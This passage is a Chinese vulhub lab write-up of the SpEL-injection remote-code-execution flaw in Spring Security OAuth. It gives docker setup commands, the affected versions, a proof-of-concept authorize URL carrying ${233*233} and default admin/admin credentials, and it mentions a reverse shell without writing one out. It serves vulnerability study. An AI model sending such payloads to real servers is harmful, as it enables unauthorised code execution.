pring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
vulhub
docker pull vulhub/spring-security-oauth2:2.0.8
docker run -d -p 8080:8080 vulhub/spring-security-oauth2:2.0.8
Spring Security OAuth 1.0.0到1.0.5
Spring Security OAuth 2.0.0到2.0.9
Spring Security OAuth 2.0到2.0.14
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.3到2.3.2
访问http://192.168.1.248:8081/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test,弹出登录框,输入admin/admin登录。

可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果:

反弹shel
对脚本进行编码。
